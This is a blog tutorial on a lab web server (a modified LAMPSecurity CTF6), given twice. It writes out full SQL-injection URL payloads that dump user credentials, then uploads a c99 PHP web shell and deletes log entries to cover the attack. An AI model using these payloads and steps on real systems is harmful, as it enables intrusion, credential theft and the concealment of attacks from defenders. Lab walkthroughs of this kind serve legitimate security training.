Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_srjCG3Xv8tIUWIJqiREA7JbySjIYsmjKqUsoBR9WWdVlDaTswwp43GgMGgjxkIkvov8k56BIE17Is6MZt3Kd2EbpFQnwilecQzjCwD1Q3UJv6hiXbdOIX7F6ovu7E1hfqa-IhfoRhlVa7pIJO1i5n6tGHDP3hXgUhkfSMf4UJ8x4iH=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ugauyIG9hmZs1uXowjEsOhGRvihmx3ZmsFcvgzkeXFQERAjVB7ASr7gJ1OR0qSO8ETicY3sWYYFNpyjAIXz9JToQEN0Trqm4DHFXV-W3Xb1ihQGvVn9aUCUZgTAymmbm5uYTmjEOIkFTyyXwXFCH-8tA8q9tChfWvAlFYJrEn7j9JyXA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tcO1xqwqOv1RGD1xOXtQ2FLKRfUPGUSze2FWqWa7nevHR1gm84tLaBb5Bdd-297GSOY51ufl9IhZ0HCN2W5gdprL2CLoHNmluQNRlCAkUzjzRXFE3dZzJG6o0HUaqGBBxWY4FTks8tF1WRBEEgKDtUqMM9YyQft5sReYCWzsVatcFqUA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uXjGJxldU7azG0-PYHMYg9KJfkZRDkyaDjidcmHePdPR3xXwDRLEucAfaqYYPK--pHew6l_OKSRFLdyaMERepbWQKvsbSf1Jqpbc15FPGQaWdbZJBnMDDwzF_bX0kSlya0owAiClu5L74oezrC6QGWbuZn_LoWoC53dH0N8CfIrUOaDQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vv7bIaJexx7sb99FaWgz_8av5u83ioUC8wqUYDfa1Ahrui5k-ob7FyA7q8s6amwt3EqnfH2okl-4sBUM1KCrIxmaDpt-V58-ZuVRaa_5VMDO-43hBAQzckgVtCKG0DGc-kx0lTRCrkxKVmn_9R8fHEFXuhJcKzxWgJUhX1su1smRsD2g=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sDehXTfZKcQEbLcPwlWwjR3-lJ7u6mcPwRPBzgymz9g2pXTwGrHusC7DWQUeBPWSz9HDr7_HTXBt2WzcWz09slpwGkouTr6If0VjIGx1jQqY6UaSoEK1AuVCBLthvpyn2WKkNL2KStfN96XxnEwMgLlStXD1NyY7vpPQPgEYPAAgkJ=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v4gDxoKK32ySrcCCbX5JVNYrC_U_HKPwut_cAXMaqowDL9E3i44mA8HhDx_w5jlUfbSw7_6QLi6_VSkuWsIKOFE2i0BdMCPI0PlPbDfnMhhkZCbHFacp-nokHdkxKwItntIhRE-3aXR9Vr4pxJKuEq0gLvF_kM0yeH3GAzfyusOX3O1nY=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjFMcYWdRxZYE6sxnyZkcCD8owQ8pJVKm_qKN2MMCx2hUBsi221P9ADxtXbKbc3Wy_wc9PS3OLuoehOIn18P0T_Wzk7Ky2w140Yx9hD4muyiXb2OxWvBEoagoG4iAhG3iP444eVTR5rzvO8KGdrzAteQnpJaQ_VLwLiU7mSEiTmUe0LKM=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vN85C5B1VOqrtm6NT0ZZXWAYhlsBSetqEOpGWXnje-1HGZgkH6fpaC0-FwucSEcUG8uMC0ZkYqsegW0WsCqN34UbMkfGzeqG-UPcsXZN57miAN3SDLCQAHVhReeRlp2PG-YjM-0AdbNh8MRtAMTXYShedwDPXKVcCNp5YbohfE4dLRiMQ=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tEEabwQ3Z4tB6cvHxvE0U0as7nOY-D719n_iE5fDbldFCyMgu81KIWCiN9LEbpf_NJ_nqo4Is8rmn5VgB4A_OUKVf60Zz1S133sM2QFH5lrT0mql-HDjoV-NBhhjamD4dDaMvumPrK-Y76Qj1gNBPj_5ke2AAudk2uMLJbvrc6XEGTmJw=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGMOHSkz_pAEm542zrCuSFOJTye4YzzHZI3EX4Hs_bHwzlR6vEYz96lg7XnKwybeqAwR8OUU_zX6BxRDZcmhQ3JHFrlvOPXQjXWBQABzJl5zyLzAERx0yxG4d-ypSliihwXewr5B5L4Wpz6F--OFr7Iel15bCr3QP6Q73R8W_EAo7fzQ=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_unJlGH0BkvpPVSXYisK59Im7q_JhVMZxjR1vLCldIjAkDelDy8ybWkgvssb8nOpmd0mpRbHefNjRlJl5wIQY-aDYrHGRZHm_W6LaN6CHjt0re6_A9PR-IRJcwLpMEVDc5gIVTRRxbxmhsXoqTENma8qIWL2Qxz7ZsaXytAg6gymxXzlIU=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v8-k9-HMphdkThXmaWKSaV88FLBYWOODZsim9iPQK8qyKXpIz-G7QmMuVJTtu95xAs_VLXYxoYeISDameLSP2iE_VhmDZ4pWCP-ECUH8KK77zI0bFrPPN5sDwao55FlCVq1lWyA39n9RPGt1ROyAphYWPAnlUzD0jIeZ-haB1HyVquoWw=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_unJOBGHWZpfO7Au34hSVEzs8w-TOFNS14D-9Ocm61HxXPgr8k9472U2OUnUUSSPS4eOvXytND-7vRjkYBrP6lTMd-4Xxy3DmJBumR3WPSxuB1e3TmNiqBYKhHknUKfzsqFVfovGTQCPBp7uWa24Uy6rXLn3nF5_J-ISRg4qCCragpgbg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s96S15YNp9-_6KNLMUh9At4RXgBuwu-mZ7EZKhNOZ_L0elXvnAVIcA_8wj1Qs5xDkKm9-5gYukULLEMf3C_qtWF8ZiU2bjlqsaR_fhsYAO-haa_IHod6yaWq5_FSUZAlPg71LQQf3XiIt2UX3tg1uThTsV5dlMsUBKq_bGA1CAzDF68A=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vn2DgeYz9VrKcNmq5RksMBUjcaw_QsV3JmgNFbQOAzfytMCi5XLCwgpkeVpYG4Ke-2C2Zqxu-h1MXcPFXtFY3aU4Qllsfx_bZo1P-2H0__mOVOkUAAS2eAEhLA4bBdeGGAraGE47LoTTykclJTu5y4d6hYIYedC-bvN8VKVWnboiWDX5A=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQ4Bhpq9SFeEhxpuRh_WrvjsMm7YDI2MypsOSDCNFnZejS_w9Ql4LoIMeIo2x9WPevJTpR7EGhI-RlzkzQEwaXBx6xBhhSpWfAQZDvzN2bepRk8akjHJ-DZCE1uWy0Q7WIJqUlmSQb2jtSBUlylHOsQIoMCNroYl62bFOvDdwdayuRsV8=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJTHvVkd0DFj1D4pz_uon6LdSDK7oam6JaeYq5YZjsNTUAUZ6L1tYb6DsmVj-bxIWLwDCaggM6l7h5pSt_dWXXtk2-kX9wHw2WCqbA-1JvN97CPkGJTwmbexP0EJXBRXcjyocsfKX6jnxQmITYHSdCK1l0AqY1d637gPksaF41N8J7PGY=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uoCSfjdooUh8qSnCqNK9qOer21vXxOW3rXtPex6EPA5FaJIzAxraTjbn5bjnnszO518LQD6mOCTO7eHowW7X4iubg4XLU4tiRJoBfFWdutQMuDtNe_F7FkUBrlwUBRS1YJqQBUlE9CUg5ZKT3q3S8tcb2tDEwCnvvGz6xk89OfGEt61-k=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjsZZa2YEQqolQRVSPFGG6cnXQE4RiAwEMiPhRB78DNN2CzZ6_gqB5hUjQQaDc6YdgCSJhyPW2FPv9zenjrDgRA6v8Yz7S8OSzLD5kkIXXaOPSemkJrZlfpMVGdJgIn-5pxpiKdB87AtWUdCc9kSfWCKGW7Mol6QjmVS2KssDpy9y3t1o=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tcr5ikHzrXk_wPgp4U0KdaFH6ei-Plwlyk5MGSFKze4aadc7Vwg7KaRk4QKXAnsV4r1HlXNgnnWm57Tsqb9dPQ2lX3N-ThEzhk8vZ6HQ-khZZdmB6ItJpAo_CPdBxUoFDCCda3SyBOEq118c-qnOO9mzCQ8cR86afs475mh8Gqh2Q-GRA=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_stXQI0a7FCaixIlwKpLBSE3R7-5Mw2XJnt-dkKnidTRbjqhWTpzI_AUVQ470x6-4cOqT4D1dDwi1-6vKkiGxc1psCjxW4f-sbEXPibtO5sTepn7T6pCmhdsca2vrgr359plBUSSR9xi-KguP18R2NLmqJip8CdypEBoozqF5nTRZdUD1Q=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tu57ppfDsKkxePVTVOOzB9IyOBi83SUKXyfPTPOcfq9qLXqVVuWM6TSDsH8xkeMMaUJlISuXHawu4seSS22iMoCI8iuKmSXSkPvGt8Ul_C5MiKi74QsPACyDOBHlQYNindufCjGwV3VilXx89z9HFBykAiQwaCLp6ot7T5C6Of-MgdP40=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2IWrEWBGMdiep0e_yHeD9R2Rohi7FHVzlA-xfoda5W_FAwoEw-_NuWyujEqxtHHjZYA0XMZhYb1l08DrXLqIQoU9nZPK1LRXpvoQ5963NR7HZg5gaAiVwrzm5Ihh9CfV7ksUx8LlGkwIVO9X8inFLVtWknZPIHTJ7asnOtfaQBJLS5WY=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIA-ME4wM_xqMX18f5hLGi6bJxfWGd-7JgTva7lvcW7OsxBGu42q-I3VtKY78pUq4u41F39vhgAfgChQNfWQnzVSdff2KorvMkFW5w5IzJdAKDgqfYu06VNkU6LWZvRJq7xMLd7hYkFm2G0WKHzfDKPIp59x44NJFyQVXyDb01psG1Kg=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tTBPrkBar6ZAyrmccpz53dCWgbBiTfvOTxx0fUyPodtQU76zzLWpwYCiJbbv1oFCJO_SvdX--g5M-mG8sGTSYY4Mf02LWfGFeersJcI7z45LTiRFCL1hzCqOlUZSzVsaPi2EXULDFM3wtMrXjV7482a_U_Y8dlAX8v0JO048EIBwvOnw=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tBgd_DtLOAhuRosnADf3P3oecwUF6cr2XBd5fRcnbcszh3bRCSUUA9XCi8tnHEjEVh64lOCACKhKMpaVYP1UGA4nYpHL6aQSVF5Ap3SYen8HXacrG5-hQjKThSkQ-o2nFtsnhOZVKmNHpCZ3DgDB7KFdHoGSu_7qDDnJIcv2ajhymhJ7k=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sRwE3wIagbjFl4nAzJKRuZWOCJmpxN7il2av1KHTf433fmjXznlI3hTxaGLbWrpuFS-BoQ3HVs89-AAumCYBIJ9kyGQUNPOYKCeooNlzUqUn0tDE5rjeI3UekqijEJLlEY2k92OPL5odJ7Dhv1QR_lvvrq9icxmrNAnxJYboZZp7PiLcc=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sf3RKY89838xwDsZ9PH4olGBo7tXJdCp33Nnv7wRfdrmsOZEooCzXbFt9UU_REf7ruFFiQzlzwysA6-qgJhCtPabIGrETx6X1tAphSLIsVm-n8KWGMBIsYo2UfQgimX-szQmjlg31Vvfs0XtjIh7drih_OUO66xIcYaxtO0lvBw6pyuA=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6cKRUjm4JAn-_W106MVeiLfDsjnPLbeWFq1kQ5XeKO_-mm6t66YQGIk3ed-3e9bRugfxpPzWyLSCf09mWHnSwtCHMfRGCFv2Ce7LE0WOnb8JI4Ir7NF0iHt7VbAs4Tdn9y7mNI_QEz_OJgFmG07XMEQa5CMTCNsXU38X7BUlzGaguOOU=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXwh0VIhl0rJkDhPuIm-gKiAvuiqmwjuA9bBUdMAOmKy6mzE2X0nseXCf3wabrim0wASfQOvzsyfuTLcff0oXHMEKnMOxOZ8foON8nNz7nUclvZrZZMp98d8efV7qQTDeFBcJIlmGofhQXNCDSUyP0JLenZ_ODsAHvcuOP6NslEfz2eeM=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_twnURqcvD-mck2_pyu4wxeTlY-WUujb-Sr2w7n83rNkEekX0I6pBrH_ROEMe07rwC_gtJvKHC5KbNkACmbuBYWVgqRmntVqV2MB-I03cxASQZ4OXMku-5hbbSVnwruEKbxFnvvru64VXkrCi-P8ai1OBflFrP9bzLVjFKoo1XwGZC5qio=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tDop90GjmaOTkcEZugtyFTNBdWnGtsne6nOpAvlFx5gMHX3zKtsC1kDleKGHIsE9pb5-yrfekAUYRACiHWiQ3n5a3jMMl19Q-gdiywr_Op-0VJvc40KzRCKKvpeXajlnmNCAUX65dbEKDN7Pt4GhC6y_MjSsqsdWf13L2QunpYLowgzaE=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vQOmbE4_i01uz6aUyOyMlgcM6A8Ph40H6xwh3HIKpR_GyFQ4RLJDa_K1Ruf6FL1OFc9jclwYJXQkI43zUMEqDRuDfXc6WHsqetqnsyw4FuaZPuAyvNm5RcGbJ_OaKSShjz2gCwsLRr9Wj1hnTw-cJhJMNmyNWG4x4nGfHGd7jlPLx3K_A=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uszXCbQI2hr61VA8TM4JmdB3pchSwRn9aSiHsYa_0pP5Z3x-ht-JteWTf9sd0nOV7ZUj2sXBOda_-fiJpoe1Q3WCJ2S-04c7_tymvWclLkC2-HsXM8DaK76Dg7Wyx0UxZvSVRqdh7kEYhIP1xbEfOubn3qjNHWicAaEnYQaXluvT5gSo4=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_szz4bz4O0j5ebAZX5bfbJwK3asUVgtXcXeIaM_2vObilFU8vahijZDe1wQVUf1UIfmDQW29GSe0-P3mQoyDNIN_F3WmDZzzViJ9XJ6sLisFggUox8J2rErbvdEPOB4S792gDzLnHCRmAKEqQn88pZ2tQb6mq44-Qvq7d-H2WS1DJ-9gyM=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uJlX-_f5UrWJugp_9mK0gnvKkjkhMCHbkJ1y9Ls7fxtWZnNa1bRKf5JWNdOyykp7PWX4FL5-XaWwCWZK8hFFAOOCasnViqbolEXZnS3e6V0H92rxd3WFHYTlalWpzPp52UAzF5fqK6_WUQqFbLQGHcTLVHyID70gq4RQa_245lRyTtmQ=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sNzBtxBJywrlYSd2rpmnR2BatWFy_1nG9ipMj9kjRj8zAA5sx1YLzwsNyvpKf7j9YzMp2pUIbJ0RiLsXV280CA1nkTFBNUzGKtMJKYB4-DutsWugv54BHgaG92ayngPChJRQz5FMS2f--WA97gZKfYjGB5LI1ELUTGufbq9pDMXGoaXFo=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_scwb6zYqoBCrprkA0EXQqtlTNc0p0tK29RA26l_BqqpW6iAKbGT81-aRCLe-G0pdH-Z3VTtTIZj5w_SeYxQ8In-q-5VrHA2PnBXHibH2lWSbZN4VHczbv9LdOEinDUTConja6BPfxvR_0EhR7tIkl68RcLgnePmGn1CxyMAb1P-JMXlQ=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9LEsjD-Swd-JW00bmWSlz-aDFG9S-oXzgVOyUozU02kbWHHCGM6aFAWQhtWJfQnHTCPwFVGEH4KCLu3kGKqGpRFKVOZsxWNjUgLDC0TUSrAk6Y522NFT7KychzfkGKSCkxK_N_od_oTovxZhLiJe3jlpvjjVqbg1IrrUkwsNFA4QFHfI=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vmvrDI2SqurhCD8ACrPr9Xvg9K0fck_aSgKzW_XVbAz7PfnUfwuOwl21QEkCQ-8d3BnrmoIKT10wBBo9S3q6A6hXgUiH2HbCY87flKfNdHFHXYu7akknrltm_WWpZMeyG7953A_PYq3kgq29OL2uhEn4KS5j8nfBdXN_okZ2BfL9I0qNo=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uP4Q655WcockDfWiqtMRXgCdwpFHg9bsjqb5MuXlr2o_c6Be9b7zlN5ashf67iHigAiopUIcEdx5_4fgDZHHLE3PV1_Na9gD_XtlmzMczLfBzGBi_5I0v_pUsn9R69-K-3z_eqkyHgvSgXKH0v6p-J4XE7w51Hq2vjCzw__iEIWC1d3PU=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tgL_DpswH2DWflEP7gIKdTAvm2Z3sBOtcq1VrOSWLlwEP45VFzSbVnzO6WRTuJ_p2VxXDxnIZjmt5ZB5UwCd_V0eDCKmPEZ9CQMFDgiud3ab0xB1MzjpX-EYuMF6eNMdaMXFcyXv0WQ2PMuSCiRkar7xuCJ4Gotv1s0p3E_PvHt5uTjdo=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_um_IzWTGZTFry4B4iTGD1XBWUF8wKQDQDbXVRqcQqXx5n5Vmi7ac0GLZ2_UzSPVKwHyJVXzSd0-5K0rSY6u7qK4kn1VYILZ0Q1CYKfwlWfZ_wQFbsdGGRCAYx31ix2UkP8b18ZWlXe92_5DlS36vbIIwf3BlW4XRwJUKeP1tHjH66JOg=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJV79NfDQxlhMj-fG0imFfkZwttkpNwcHe3mjfcE8jKk5NFvbu2mtT58Rll67rVFiy2ynOIMJXhF43erG4ABoQ09L66obBO-0SYp0no2Jo56aDCkf1I-fuhBFLMI5ZdH31cJUFoHFwIC80dUs_As-MhC3pXtZmA4ujzZQpn-3P_51-dqA=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete